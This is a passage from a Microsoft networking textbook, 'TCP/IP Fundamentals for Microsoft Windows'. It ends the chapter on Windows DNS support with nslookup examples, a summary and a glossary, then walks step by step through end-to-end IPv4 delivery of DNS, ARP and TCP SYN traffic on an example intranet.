Name: filesrv17.example.com
Address: 131.107.21.19
Example 3: Nslookup Forward Query Using Another DNS Server
The following is an example of how to use Nslookup to obtain the IP address of a host name using
another DNS server:
C:\USERS\DEFAULT>nslookup msgsrv3 –dnssrv9
server = dnssrv9
Address: 157.60.10.41
Name: msgsrv3.central.example.com
Address: 157.60.10.201
Example 4: Nslookup Debug Information
The following is an example of how to use Nslookup to obtain the IP address of a host name using the
default DNS server. The example also shows how to modify the display option to include detailed
information about the contents of the DNS messages being exchanged between the DNS client and the
DNS server:
C:\USERS\DEFAULT>nslookup -debug=on emailsrv1
------------
Got answer:
HEADER:
opcode = QUERY, id = 1, rcode = NOERROR
header flags: response, auth. answer, want recursion, recursion avail.
questions = 1, answers = 1, authority records = 0, additional = 0
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 269
QUESTIONS:
193.9.60.157.in-addr.arpa, type = PTR, class = IN
ANSWERS:
-> 193.9.60.157.in-addr.arpa
name = dnssrv1
ttl = 3600 (1 hour)
------------
server = dnssrv1
Address: 157.60.9.193
------------
Got answer:
HEADER:
opcode = QUERY, id = 2, rcode = NOERROR
header flags: response, auth. answer, want recursion, recursion avail.
questions = 1, answers = 1, authority records = 0, additional = 0
QUESTIONS:
emailsrv1.example.com, type = A, class = IN
ANSWERS:
-> emailsrv1.example.com
internet address = 157.54.9.193
ttl = 3600 (1 hour)
------------
Name: emailsrv1.example.com
Address: 157.54.9.193
Example 5: Nslookup Reverse Query
The following is an example of using Nslookup to perform a reverse query:
C:\USERS\DEFAULT>nslookup 157.60.13.46
server = dnssrv1
Address: 157.60.9.193
Name: emailsrv18.wcoast.example.com
Address: 157.54.13.46
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 270
Chapter Summary
The chapter includes the following pieces of key information:
You can configure the DNS Client service manually using Network Connections or automatically using
DHCP, PPP, or Computer Configuration Group Policy.
To help resolve an unqualified name, the DNS Client service uses the primary or connection-specific
DNS suffixes (with name devolution on the primary suffix) or a configured list of DNS suffixes.
You can install the DNS Server service using the Server Manager snap-in, as a Windows component
using the Add or Remove Programs item in Control Panel, the Active Directory Installation Wizard
(Dcpromo.exe), or the Manage Your Server Wizard.
Active Directory requires DNS to locate domain resources for domain operations.
Storage of DNS zones in Active Directory can take advantage of multi-master administration, Active
Directory security, and the existing Active Directory replication topology.
To administer a DNS server that is running Windows Server 2003, you must configure server
properties, forward lookup zones, reverse lookup zones, delegation, and zone transfers.
Typical resource records to manually add to a DNS server running Windows are A, AAAA, and PTR.
To enable DNS traffic over IPv6, you must configure a Windows Server 2003-based DNS server to
listen for DNS traffic over IPv6. Then, you must either configure the Windows Vista or Windows Server
2008 DNS clients with the unicast IPv6 addresses of the DNS servers or configure the DNS server and
the routing infrastructure for the well-known unicast addresses assigned to IPv6 DNS servers.
With DNS dynamic update, DNS client computers that are running Windows dynamically update their A,
AAAA, and PTR records (for IPv4) addresses with the primary name server for the zone. For zones that
are integrated with Active Directory, DNS clients can use secure dynamic update.
WINS lookup allows a DNS server running Windows to use WINS for name resolution when no A
record for the host is found. WINS reverse lookup uses NetBIOS Adapter Status messages to perform
reverse lookups when no PTR record is found.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 271
Chapter Glossary
DNS – See Domain Name System.
DNS dynamic update - A DNS standard that permits DNS clients to dynamically register and update
their resource records in the zones of the primary name server.
DNS server – A server that maintains a database of mappings of DNS domain names to various types
of data, such as IP addresses.
domain – Any tree or subtree within the DNS namespace.
Domain Name System (DNS) – A hierarchical, distributed database that contains mappings of DNS
domain names to various types of data, such as IP addresses. DNS enables the location of computers
and services by user-friendly names, and it also enables the discovery of other information stored in the
database.
forward lookup – A DNS query that maps an FQDN to an IP address.
FQDN – See fully qualified domain name (FQDN).
fully qualified domain name (FQDN) - A DNS name that has been stated to indicate its absolute location
in the domain namespace tree. An FQDN has a trailing period (.) to qualify its position to the root of the
namespace (for example, host.example.microsoft.com.).
Host name – The DNS name of a device on a network. Host names are used to locate computers on
the network. To find another computer, its host name must either appear in the Hosts file or be known
by a DNS server. For most computers running Windows, the host name and the computer name are the
same.
Host name resolution – The process of resolving a host name to a destination IP address.
iterative query - A query made to a DNS server for the best answer the server can provide without
seeking further help from other DNS servers.
master server – An authoritative DNS server for a zone. Master servers are either primary or secondary
master servers, depending on how the server obtains its zone data.
primary server - An authoritative DNS server for a zone that can be used as a point of update for the
zone. Only primary servers can be updated directly to process zone updates, which include adding,
removing, or modifying resource records that are stored as zone data.
recursive query – A query made to a DNS server in which the requester asks the server to assume the
full workload and responsibility for providing a complete answer to the query. The DNS server then
uses separate iterative queries to other DNS servers on behalf of the requester to assist in finding a
complete answer for the recursive query.
reverse lookup – A DNS query that maps an IP address to an FQDN.
root domain - The beginning of the DNS namespace.
secondary server - An authoritative DNS server for a zone that obtains its zone information from a
master server.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 272
second-level domain – A DNS domain name that is rooted hierarchically at the second tier of the
domain namespace, directly beneath the top-level domain names. Top-level domain names include
.com and .org. When DNS is used on the Internet, second-level domains are names that are registered
and delegated to individual organizations and businesses.
stub zone – A copy of a zone that contains only the resource records required to identify the
authoritative DNS servers for that zone. A DNS server that hosts a parent zone and a stub zone for one
of the parent zone's delegated child zones can receive updates from the authoritative DNS servers for
the child zone.
top-level domains – Domain names that are rooted hierarchically at the first tier of the domain
namespace directly beneath the root (.) of the DNS namespace. On the Internet, top-level domain
names such as .com and .org are used to classify and assign second-level domain names (such as
microsoft.com) to individual organizations and businesses according to their organizational purpose.
zone – A manageable unit of the DNS database that is stored on a DNS server. A zone contains the
domain names and data of the domain with a corresponding name, except for domain names stored in
delegated subdomains.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 273
Chapter 10 – TCP/IP End-to-End Delivery
Abstract
This chapter describes the end-to-end delivery processes for IPv4 and IPv6 traffic. A network administrator must
understand these processes to determine how traffic flows on a network and troubleshoot connectivity problems. This
chapter also describes end-to-end delivery processes in further detail by analyzing the steps for typical IPv4 and IPv6
traffic on an example network.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 274
Chapter Objectives
After completing this chapter, you will be able to:
Describe the details of the end-to-end IPv4 delivery process for the source host, the intermediate
routers, and the destination host.
List the steps involved when IPv4 traffic is sent across an example network.
Describe the details of the end-to-end IPv6 delivery process for the source host, the intermediate
routers, and the destination host.
List the steps involved when IPv6 traffic is sent across an example network.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 275
End-to-End IPv4 Delivery Process
The end-to-end delivery process for IPv4 traffic consists of the following:
The source host sends the packet either to a router or to the final destination (if the destination is a
neighbor).
The router forwards the packet either to another router or to the final destination (if the destination is a
neighbor).
The destination host receives the packet and passes the data to the appropriate application.
Note The following processes assume that the IPv4 header contains no options.
IPv4 on the Source Host
When an IPv4 source host sends an IPv4 packet, the host uses a combination of local host tables and
the Address Resolution Protocol (ARP). An IPv4 source host uses the following algorithm when sending
a packet to an arbitrary destination:
1. Specify either a default or application-specified value for the Time-to-Live (TTL) field.
2. Check the route cache for an entry that matches the destination address. The route cache is a table
that stores the next-hop IPv4 address and interface for destinations to which traffic has been recently
sent. This step prevents IPv4 from performing the route determination process for every IPv4 packet
sent.
3. If the route cache contains an entry that matches the destination address, obtain the next-hop
address and interface from the entry, and go to step 7.
4. If the route cache does not contain an entry that matches the destination address, check the local
IPv4 routing table for the longest matching route with the lowest metric to the destination address. If
multiple longest matching routes have the lowest metric, choose the matching route for the interface
that is first in the binding order.
5. Based on the longest matching route with the lowest metric, determine the next-hop address and
interface to use for forwarding the packet.
If no route is found, indicate a routing error to the application that is sending the packet.
6. Update the route cache with an entry that contains the destination IPv4 address of the packet and its
corresponding next-hop address and interface.
7. Check the ARP cache of the next-hop interface for an entry that matches the next-hop IPv4 address.
You can view the ARP cache with the arp –a command.
8. If the ARP cache contains an entry that matches the next-hop address, obtain the corresponding
media access control (MAC) address, and go to step 10.
9. If the ARP cache does not contain an entry that matches the next-hop address, use ARP to obtain
the MAC address for the next-hop IPv4 address.
If ARP is successful, update the ARP cache with an entry that contains the next-hop IP address and
its corresponding MAC address.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 276
If ARP is not successful, indicate an error to IP.
10. Send the packet by using the MAC address of the ARP cache entry.
This process is for host with a single interface, known as a single-homed host. For hosts with multiple
interfaces, known as multi-homed hosts, the route determination process depends on the source
address and whether the host supports strong or weak hosts sends. For strong host sends, the next-
hop interface must be assigned the source address of the packet. For weak host sends, the next-hop
interface does not have to be assigned the source address of the packet. For more information, see
Strong and Weak Host Models.
Figure 10-1 shows the IPv4 sending process for a source host.
Figure 10-1 The IPv4 sending process for a source host
IPv4 on the Router
Just like an IPv4 source host, the process by which an IPv4 router forwards an IPv4 packet uses a
combination of local router tables and ARP. An IPv4 router uses the following algorithm when receiving
and forwarding a packet to an arbitrary unicast destination:
1. Calculate the IPv4 header checksum. Compare the calculated value to the value included in the IPv4
header of the packet.
If the checksums have different values, discard the packet.
2. Verify whether the destination address in the IPv4 packet corresponds to an address assigned to an
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 277
interface of the router.
If so, process the IPv4 packet as the destination host. (See step 3 in "IPv4 on the Destination Host"
in this chapter.)
3. Decrement the value of the TTL field by 1.
If the value of the TTL field is less than 1, send an Internet Control Message Protocol (ICMP) Time
Exceeded-TTL Exceeded in Transit message to the sender, and discard the packet.
If the value of the TTL field is greater than 0, recalculate the Checksum field, and then update the
TTL and the Checksum fields in the IPv4 header of the packet.
4. Check the route cache for an entry that matches the destination address.
5. If the route cache contains an entry that matches the destination address, obtain the next-hop IPv4
address and interface from the entry, and go to step 10.
6. If the route cache does not contain an entry that matches the destination address, check the local
IPv4 routing table for the longest matching route to the destination IPv4 address.
7. Based on the longest matching route, determine the next-hop IPv4 address and interface to use for
forwarding the packet.
If no route is found, send an ICMP Destination Unreachable-Host Unreachable message to the
source host, and discard the packet.
8. Update the route cache with an entry that contains the destination IPv4 address of the packet and its
corresponding next-hop address and interface.
9. Compare the IP maximum transmission unit (MTU) of the next-hop interface to the size of the IPv4
packet being forwarded. If the IP MTU of the next-hop interface is smaller than the packet size, check
the Don’t Fragment (DF) flag in the IPv4 header.
If DF flag is set to 1, send ICMP Destination Unreachable-Fragmentation Needed and DF Set
messages to the source host, and discard the packet.
If DF flag is set to 0, fragment the IPv4 packet payload.
10. Check the ARP cache of the next-hop interface for an entry that matches the next-hop IPv4 address.
11. If the ARP cache contains an entry that matches the next-hop IPv4 address, obtain the
corresponding MAC address, and go to step 13.
12. If the ARP cache does not contain an entry that matches the next-hop IPv4 address, use ARP to
obtain the MAC address for the next-hop IPv4 address.
If ARP is successful, update the ARP cache with an entry that contains the next-hop IP address and
its corresponding MAC address.
If ARP is not successful, send an ICMP Destination Unreachable-Host Unreachable message to the
source host, and discard the packet.
13. Send the packet by using the MAC address of the ARP cache entry.
Figures 10-2 and 10-3 show the router forwarding process.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 278
Figure 10-2 IPv4 router forwarding process (part 1)
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 279
Figure 10-3 IPv4 router forwarding process (part 2)
Each IPv4 router in the path between the source host and the destination host repeats this process.
IPv4 on the Destination Host
A destination IPv4 host uses the following algorithm when receiving an IPv4 packet:
1. Calculate the IPv4 header checksum. Compare the calculated value to the value included in the IPv4
header of the packet.
If the checksums have different values, discard the packet.
2. Verify whether the destination address in the IPv4 packet corresponds to an IPv4 address assigned
to a local host interface.
If the destination address is not assigned to a local host interface, discard the packet.
3. Verify that the value of the Protocol field corresponds to an upper layer protocol in use on the host.
If the protocol does not exist, send an ICMP Destination Unreachable-Protocol Unreachable
message back to the sender, and discard the packet.
4. If the upper layer protocol data unit (PDU) is not a Transmission Control Protocol (TCP) segment or
User Datagram Protocol (UDP) message, pass the upper layer PDU to the appropriate protocol.
5. If the upper layer PDU is a TCP segment or UDP message, check the destination port.
If no application is listening on the UDP port number, send an ICMP Destination Unreachable-Port
Unreachable message back to the sender, and discard the packet. If no application is listening on the
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 280
TCP port number, send a TCP Connection Reset segment back to the sender, and discard the
packet.
6. For the application listening on the UDP or TCP destination port, process the contents of the TCP
segment or UDP message.
This process is for a single-homed host. For multi-homed hosts, the receive process depends on
whether the host supports strong or weak hosts receives. For strong host receives, the receiving
interface must be assigned the destination address of the packet. For weak host receives, the receiving
interface does not have to be assigned the destination address of the packet. For more information, see
Strong and Weak Host Models.
Figure 10-4 shows the IPv4 receiving process on the destination host.
Figure 10-4 IPv4 receiving process on the destination host
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 281
Step-by-Step IPv4 Traffic Example
To show the end-to-end delivery process, this section steps through an example of IPv4 traffic when a
user types the URL of a Web page in the Address bar of a Web browser and views a Web page from a
Web server. This example demonstrates the following aspects of IPv4 traffic:
Name resolution using the Domain Name System (DNS)
End-to-end delivery using a source host, intermediate routers, and a destination host
Creation of a TCP connection, including the three-way TCP handshake
Use of the Hypertext Transfer Protocol (HTTP) to download the Hypertext Markup Language (HTML)
text of a Web page
Network Configuration
Figure 10-5 shows a simple private IPv4 intranet consisting of four subnets connected with three
routers. The example intranet contains a Web client, a DNS server, and a Web server.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 282
Figure 10-5 An example IPv4 intranet
The following sections describe the IPv4 configuration of each of these components.
Web Client
The Web client is a single-homed computer connected to the 10.0.13.0/24 subnet and uses the IPv4
address of 10.0.13.110/24, the default gateway at 10.0.13.1, and the DNS server at 10.0.47.91. The
Web client has the following routes:
10.0.13.0/24 (directly attached network route)
0.0.0.0/0 with the next-hop address of 10.0.13.1 (default route)
Note To simplify the discussion for each component of the example IPv4 intranet, this example lists only
the most relevant routes.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 283
Router 1
Router 1 is connected to the 10.0.13.0/24 subnet using the IPv4 address 10.0.13.1 and the
10.0.21.0/24 subnet using the IPv4 address 10.0.21.1. Router 1 has the following routes:
10.0.13.0/24 (directly attached network route)
10.0.21.0/24 (directly attached network route)
10.0.47.0/24 with the next-hop address of 10.0.21.2
10.0.48.0/24 with the next-hop address of 10.0.21.3
Router 2
Router 2 is connected to the 10.0.21.0/24 subnet using the IPv4 address 10.0.21.2 and the
10.0.47.0/24 subnet using the IPv4 address 10.0.47.1. Router 2 has the following routes:
10.0.21.0/24 (directly attached network route)
10.0.47.0/24 (directly attached network route)
10.0.13.0/24 with the next-hop address of 10.0.21.1
10.0.48.0/24 with the next-hop address of 10.0.21.3
Router 3
Router 3 is connected to the 10.0.21.0/24 subnet using the IPv4 address 10.0.21.3 and the
10.0.48.0/24 subnet using the IPv4 address 10.0.48.1. Router 3 has the following routes:
10.0.21.0/24 (directly attached network route)
10.0.48.0/24 (directly attached network route)
10.0.13.0/24 with the next-hop address of 10.0.21.1
10.0.47.0/24 with the next-hop address of 10.0.21.2
DNS Server
The DNS server is a single-homed computer connected to the 10.0.47.0/24 subnet and uses the IPv4
address of 10.0.47.91/24 and the default gateway of 10.0.47.1. The DNS server has the following
routes:
10.0.47.0/24 (directly attached network route)
0.0.0.0/0 with the next-hop address of 10.0.47.1
The DNS server has an Address (A) resource record that maps the name web1.example.com to the
IPv4 address of 10.0.48.12.
Web Server
The Web server is a single-homed computer connected to the 10.0.48.0/24 subnet and uses the IPv4
address of 10.0.48.12/24, the default gateway of 10.0.48.1, and the DNS server of 10.0.47.91. The
Web server has the following routes:
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 284
10.0.48.0/24 (directly attached network route)
0.0.0.0/0 with the next-hop address of 10.0.48.1
Web Traffic Example
This example assumes the following:
The ARP and route caches on all of the components of the network are empty.
The DNS client resolver cache on the Web client is empty.
The Web browser on the Web client has not cached the contents of the Web page on the Web server.
In this example, a user on the Web client runs a Web browser, types the address
http://web1.example.com/example.htm in the Web browser's Address bar, and presses ENTER. The
computers on this example intranet send the following set of messages:
1. The Web client sends a DNS Name Query Request message to the DNS server.
2. The DNS server sends a DNS Name Query Response message to the Web client.
3. The Web client sends a TCP Synchronize (SYN) segment to the Web server.
4. The Web server sends a TCP SYN-Acknowledgement (ACK) segment to the Web client.
5. The Web client sends a TCP ACK segment to the Web server.
6. The Web client sends an HTTP Get message to the Web server.
7. The Web server sends an HTTP Get-Response message to the Web client.
The following sections describe the end-to-end delivery of each of these messages.
DNS Name Query Request Message to the DNS Server
The following process occurs when the Web client sends the DNS Name Query Request message to
the DNS server:
1. The Web browser parses the address in the Address bar and uses a Windows Sockets
getaddrinfo()or gethostbyname()function to attempt to resolve the name web1.example.com to its
IPv4 address. For this example, the DNS server is only storing a single A record for the name
web1.example.com.
2. The Web client constructs a DNS Name Query Request message with the source IPv4 address of
10.0.13.110 and the destination IPv4 address of 10.0.47.91.
3. The Web client checks its route cache for an entry for the IPv4 address of 10.0.47.91 and does not
find a match.
4. The Web client performs the route determination process to find the closest matching route for the
destination IPv4 address of 10.0.47.91. The default route (0.0.0.0/0) is the closest matching route.
The Web client sets the next-hop IPv4 address to 10.0.13.1 and the next-hop interface to the network
adapter that is attached to the 10.0.13.0/24 subnet.
5. The Web client updates its route cache with an entry for 10.0.47.91 with the next-hop IPv4 address of
10.0.13.1 and the next-hop interface of the network adapter that is attached to the 10.0.13.0/24
subnet.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 285
6. The Web client checks its ARP cache for an entry with the IPv4 address of 10.0.13.1 and does not
find a match.
7. The Web client broadcasts an ARP Request message, querying all nodes on the 10.0.13.0/24 subnet
for the MAC address of the interface that is assigned the IPv4 address of 10.0.13.1.
8. Router 1 receives the ARP Request message. Because Router 1 is assigned the IPv4 address of
10.0.13.1, that router adds an entry to its ARP cache for the IPv4 address 10.0.13.110 and the MAC
address of the Web client's interface on the 10.0.13.0/24 subnet.
9. Router 1 sends a unicast ARP Reply message to the Web client.
10. The Web client updates its ARP cache with an entry for the IPv4 address of 10.0.13.1 and the MAC
address of Router 1's interface on the 10.0.13.0/24 subnet.
11. The Web client sends the unicast DNS Name Query Request message destined for 10.0.47.91 to the
MAC address of Router 1's interface on the 10.0.13.0/24 subnet.
12. Router 1 receives the DNS Name Query Request message.
13. Router 1 checks its route cache for an entry for 10.0.47.91 and does not find a match.
14. Router 1 performs the route determination process for the destination address 10.0.47.91. The
closest matching route is the route for 10.0.47.0/24. Router 1 sets the next-hop address to 10.0.21.2
and the next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
15. Router 1 updates its route cache with an entry for 10.0.47.91 with the next-hop IPv4 address of
10.0.21.2 and the next-hop interface of the network adapter that is attached to the 10.0.21.0/24
subnet.
16. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.21.2 and does not find a
match.
17. Router 1 broadcasts an ARP Request message, querying all nodes on the 10.0.21.0/24 subnet for
the MAC address of the interface that is assigned the IPv4 address of 10.0.21.2.
18. Router 2 receives the ARP Request message. Because it is assigned the IPv4 address of 10.0.21.2,
Router 2 adds an entry to its ARP cache for the IPv4 address 10.0.21.1 and the MAC address of
Router 1's interface on the 10.0.21.0/24 subnet.
19. Router 2 sends a unicast ARP Reply message to Router 1.
20. Router 1 updates its ARP cache with an entry for the IPv4 address of 10.0.21.2 and the MAC
address of Router 2's interface on the 10.0.21.0/24 subnet.
21. Router 1 forwards the unicast DNS Name Query Request message destined for 10.0.47.91 to Router
2's MAC address on the 10.0.21.0/24 subnet.
22. Router 2 receives the DNS Name Query Request message.
23. Router 2 checks its route cache for an entry for 10.0.47.91 and does not find a match.
24. Router 2 performs the route determination process for the destination address 10.0.47.91. The
closest matching route is the route for 10.0.47.0/24 (a directly attached network route). Router 2 sets
the next-hop address to the packet's destination address of 10.0.47.91 and the next-hop interface to
the network adapter that is attached to the 10.0.47.0/24 subnet.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 286
25. Router 2 updates its route cache with an entry for 10.0.47.91 with the next-hop IPv4 address of
10.0.47.91 and the next-hop interface of the network adapter that is attached to the 10.0.47.0/24
subnet.
26. Router 2 checks its ARP cache for an entry with the IPv4 address of 10.0.47.91 and does not find a
match.
27. Router 2 broadcasts an ARP Request message, querying all nodes on the 10.0.47.0/24 subnet for
the MAC address of the interface that is assigned the IPv4 address of 10.0.47.91.
28. The DNS server receives the ARP Request message. Because the DNS server is assigned the IPv4
address of 10.0.47.91, the server adds an entry to its ARP cache for the IPv4 address 10.0.47.1 and
the MAC address of Router 2's interface on the 10.0.47.0/24 subnet.
29. The DNS server sends a unicast ARP Reply message to Router 2.
30. Router 2 updates its ARP cache with an entry for the IPv4 address of 10.0.47.91 and the MAC
address of the DNS server's interface on the 10.0.47.0/24 subnet.
31. Router 2 forwards the unicast DNS Name Query Request message destined for 10.0.47.91 to the
MAC address of the DNS server's interface on the 10.0.47.0/24 subnet.
32. The DNS server receives the packet and passes the DNS Name Query Request message to the
DNS Server service.
33. The DNS Server service finds the A record for the name web1.example.com and resolves it to the
IPv4 address of 10.0.48.12.
For the end-to-end delivery of the DNS Name Query Request message, the following has occurred:
The Web client sent the DNS Name Query Request message, and Router 1 and Router 2 forwarded it
over the 10.0.13.0/24, 10.0.21.0/24, and 10.0.47.0/24 subnets to the DNS server.
The Web client's route cache has an entry for 10.0.47.91. The Web client's ARP cache has an entry for
10.0.13.1.
Router 1's route cache has an entry for 10.0.47.91. Router 1's ARP cache has entries for 10.0.13.110
and 10.0.21.2.
Router 2's route cache has an entry for 10.0.47.91. Router 2's ARP cache has entries for 10.0.21.1 and
10.0.47.91.
The DNS server's ARP cache has an entry for 10.0.47.1.
DNS Name Query Response Message to the Web Client
When the DNS server sends the DNS Name Query Response message to the Web client, the following
process occurs:
1. The DNS Server service constructs a DNS Name Query Response message with the source IPv4
address of 10.0.47.91 and the destination IPv4 address of 10.0.13.110.
2. The DNS server checks its route cache for an entry for the IPv4 address of 10.0.13.110 and does not
find a match.
3. The DNS server performs the route determination process to find the closest matching route for the
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 287
destination IPv4 address of 10.0.13.110. The default route (0.0.0.0/0) is the closest matching route.
The DNS server set the next-hop IPv4 address to 10.0.47.1 and the next-hop interface to the network
adapter attached to the 10.0.47.0/24 subnet.
4. The DNS server updates its route cache with an entry for 10.0.13.110 with the next-hop IPv4 address
of 10.0.47.1 and the next-hop interface of the network adapter that is attached to the 10.0.47.0/24
subnet.
5. The DNS server checks its ARP cache for an entry with the IPv4 address of 10.0.47.1 and finds a
match.
6. Using the ARP cache entry for 10.0.47.1, the DNS server sends the unicast DNS Name Query
Response message destined for 10.0.13.110 to the MAC address of Router 2's interface on the
10.0.47.0/24 subnet.
7. Router 2 receives the DNS Name Query Response message.
8. Router 2 checks its route cache for an entry for 10.0.13.110 and does not find a match.
9. Router 2 performs the route determination process for the destination address 10.0.13.110. The
closest matching route is the route for 10.0.13.0/24. Router 2 sets the next-hop address to 10.0.21.1
and the next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
10. Router 2 updates its route cache with an entry for 10.0.13.110 with the next-hop IPv4 address of
10.0.21.1 and the next-hop interface of the network adapter that is attached to the 10.0.21.0/24
subnet.
11. Router 2 checks its ARP cache for an entry with the IPv4 address of 10.0.21.1 and finds a match.
12. Using the ARP cache entry for 10.0.21.1, Router 2 forwards the unicast DNS Name Query Response
message destined for 10.0.13.110 to Router 1's MAC address on the 10.0.21.0/24 subnet.
13. Router 1 receives the DNS Name Query Response message.
14. Router 1 checks its route cache for an entry for 10.0.13.110 and does not find a match.
15. Router 1 performs the route determination process for the destination address 10.0.13.110. The
closest matching route is the route for 10.0.13.0/24 (a directly attached network route). Router 1 sets
the next-hop address to the packet's destination address of 10.0.13.110 and the next-hop interface to
the network adapter that is attached to the 10.0.13.0/24 subnet.
16. Router 1 updates its route cache with an entry for 10.0.13.110 with the next-hop IPv4 address of
10.0.13.110 and the next-hop interface of the network adapter that is attached to the 10.0.13.0/24
subnet.
17. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.13.110 and finds a match.
18. Using the ARP cache entry for 10.0.13.110, Router 1 forwards the unicast DNS Name Query
Response message destined for 10.0.13.110 to the MAC address of the Web client's interface on the
10.0.13.0/24 subnet.
19. The Web client receives the packet and passes the DNS Name Query Response message to the
DNS Client service.
20. The DNS Client service on the Web client passes the resolved IPv4 address of 10.0.48.12 to
Windows Sockets.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 288
21. Windows Sockets passes the resolved IPv4 address of 10.0.48.12 to the Web browser.
For the end-to-end delivery of the DNS Name Query Response message, the following has occurred:
The DNS server sent the DNS Name Query Response message, and Router 2 and Router 1 forwarded
it over the 10.0.47.0/24, 10.0.21.0/24, and 10.0.13.0/24 subnets to the Web client.
The DNS server's route cache has a new entry for 10.0.13.110.
Router 2's route cache has a new entry for 10.0.13.110.
Router 1's route cache has a new entry for 10.0.13.110.
TCP SYN Segment to the Web Server
Now that the Web server's name has been resolved to an IPv4 address, the Web client must establish
a TCP connection with the Web server. TCP connections are initiated through a three-way handshake
consisting of the following:
A TCP SYN segment that the Web client sends
A TCP SYN-ACK segment that the Web server sends
A TCP ACK segment that the Web client sends
When the Web client sends the TCP SYN segment to the Web server, the following process occurs:
1. The Web browser, upon obtaining the resolved address of 10.0.48.12 from Windows Sockets, uses a
Windows Sockets connect() function to create a TCP connection between the Web client and the
Web server.
2. The Web client constructs a TCP SYN segment with the source IPv4 address of 10.0.13.110 and the
destination IPv4 address of 10.0.48.12.
3. The Web client checks its route cache for an entry for the IPv4 address of 10.0.48.12 and does not
find a match.
4. The Web client performs the route determination process to find the closest matching route for the
destination IPv4 address of 10.0.48.12. The default route (0.0.0.0/0) is the closest matching route.
The Web client sets the next-hop IPv4 address to 10.0.13.1 and the next-hop interface to the network
adapter attached to the 10.0.13.0/24 subnet.
5. The Web client updates its route cache with an entry for 10.0.48.12 with the next-hop IPv4 address of
10.0.13.1 and the next-hop interface of the network adapter that is attached to the 10.0.13.0/24
subnet.
6. The Web client checks its ARP cache for an entry with the IPv4 address of 10.0.13.1 and finds a
match.
7. Using the ARP cache entry for 10.0.13.1, the Web client sends the unicast TCP SYN segment
destined for 10.0.48.12 to the MAC address of Router 1's interface on the 10.0.13.0/24 subnet.
8. Router 1 receives the TCP SYN segment.
9. Router 1 checks its route cache for an entry for 10.0.48.12 and does not find a match.
10. Router 1 performs the route determination process for the destination address 10.0.48.12. The
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 289
closest matching route is the route for 10.0.48.0/24. Router 1 sets the next-hop address to 10.0.21.3
and the next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
11. Router 1 updates its route cache with an entry for 10.0.48.12 with the next-hop IPv4 address of
10.0.21.3 and the next-hop interface of the network adapter that is attached to the 10.0.21.0/24
subnet.
12. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.21.3 and does not find a
match.
13. Router 1 broadcasts an ARP Request message, querying all nodes on the 10.0.21.0/24 subnet for
the MAC address of the interface that is assigned the IPv4 address of 10.0.21.3.
14. Router 3 receives the ARP Request message. Because it is assigned the IPv4 address of 10.0.21.3,
Router 3 adds an entry to its ARP cache for the IPv4 address 10.0.21.1 and the MAC address of
Router 1's interface on the 10.0.21.0/24 subnet.
15. Router 3 sends a unicast ARP Reply message to Router 1.
16. Router 1 updates its ARP cache with an entry for the IPv4 address of 10.0.21.3 and the MAC
address of Router 3's interface on the 10.0.21.0/24 subnet.
17. Router 1 forwards the unicast TCP SYN segment destined for 10.0.48.12 to Router 3's MAC address
on the 10.0.21.0/24 subnet.
18. Router 3 receives the TCP SYN segment.
19. Router 3 checks its route cache for an entry for 10.0.48.12 and does not find a match.
20. Router 3 performs the route determination process for the destination address 10.0.48.12. The
closest matching route is the route for 10.0.48.0/24 (a directly attached network route). Router 3 sets
the next-hop address to the packet's destination address of 10.0.48.12 and the next-hop interface to
the network adapter that is attached to the 10.0.48.0/24 subnet.
21. Router 3 updates its route cache with an entry for 10.0.48.12 with the next-hop IPv4 address of
10.0.48.12 and the next-hop interface of the network adapter that is attached to the 10.0.48.0/24
subnet.
22. Router 3 checks its ARP cache for an entry with the IPv4 address of 10.0.48.12 and does not find a
match.
23. Router 3 broadcasts an ARP Request message, querying all nodes on the 10.0.48.0/24 subnet for
the MAC address of the interface that is assigned the IPv4 address of 10.0.48.12.
24. The Web server receives the ARP Request message. Because it is assigned the IPv4 address of
10.0.48.12, the Web server adds an entry to its ARP cache for the IPv4 address 10.0.48.1 and the
MAC address of Router 3's interface on the 10.0.48.0/24 subnet.
25. The Web server sends a unicast ARP Reply message to Router 3.
26. Router 3 updates its ARP cache with an entry for the IPv4 address of 10.0.48.12 and the MAC
address of the Web server's interface on the 10.0.48.0/24 subnet.
27. Router 3 forwards the unicast TCP SYN segment destined for 10.0.48.12 to the MAC address of the
Web server's interface on the 10.0.48.0/24 subnet.
Chapter 10 – TCP/IP End-to-End Delivery
